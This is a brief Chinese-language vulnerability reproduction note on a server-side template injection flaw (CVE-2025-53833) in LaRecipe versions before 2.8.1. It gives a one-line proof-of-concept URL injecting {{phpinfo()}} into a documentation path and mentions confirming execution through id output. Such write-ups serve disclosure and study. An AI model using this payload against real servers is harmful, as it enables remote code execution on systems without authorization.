LaRecipe服务器端模板注入漏洞(CVE-2025-53833)

0x00写在前面
      本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！

0x01漏洞介绍

LaRecipe是saleem-hadad 个人开发者的一个使用MarkDown为Laravel应用程序编写和发布文档的软件。

LaRecipe 2.8.1之前版本存在安全漏洞，该漏洞源于服务器端模板注入，可能导致远程代码执行。

0x02影响版本

LaRecipe < 2.8.1

0x03漏洞复现

2.对漏洞进行复现

 POC 

/docs/1.0/?{{phpinfo()}}

   通过id命令执行回显，判断漏洞存在